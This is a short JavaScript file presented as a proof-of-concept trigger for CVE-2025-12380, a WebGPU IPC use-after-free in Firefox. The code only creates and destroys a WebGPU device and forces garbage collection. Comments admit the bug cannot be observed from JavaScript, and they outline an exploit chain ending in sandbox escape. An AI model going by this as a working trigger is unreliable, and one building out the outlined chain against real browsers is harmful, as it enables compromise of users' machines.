CVE-2025-12380

// CVE-2025-12380 PoC - WebGPU IPC UAF trigger // This PoC demonstrates the concept of triggering UAF via WebGPU IPC // Note: Actual exploit requires compromised child process const webgpuUafTrigger = { name: "WebGPU IPC UAF Trigger", cveId: "CVE-2025-12380", target: "Firefox 142-144.0.1", // Step 1: Acquire WebGPU adapter async initWebGPU() { if (!navigator.gpu) { throw new Error("WebGPU not supported"); } const adapter = await navigator.gpu.requestAdapter(); return adapter; }, // Step 2: Create device and trigger IPC async triggerUAF(adapter) { const device = await adapter.requestDevice(); // Trigger IPC calls that may lead to UAF in GPU process // The actual UAF occurs in the GPU/browser process // not directly observable from JavaScript // Force garbage collection to increase UAF probability device.destroy(); await new Promise(r => setTimeout(r, 100)); global.gc?.(); return true; }, // Note: Real exploitation requires: // 1. Compromised child process (e.g., via renderer exploit) // 2. Crafted IPC messages to GPU process // 3. Memory spray to achieve arbitrary read/write // 4. Sandbox escape via process-level vulnerability execute() { return this.initWebGPU() .then(adapter => this.triggerUAF(adapter)) .catch(err => console.error("Error:", err)); } }; // Export for Node.js or browser environment if (typeof module !== 'undefined' && module.exports) { module.exports = webgpuUafTrigger; }
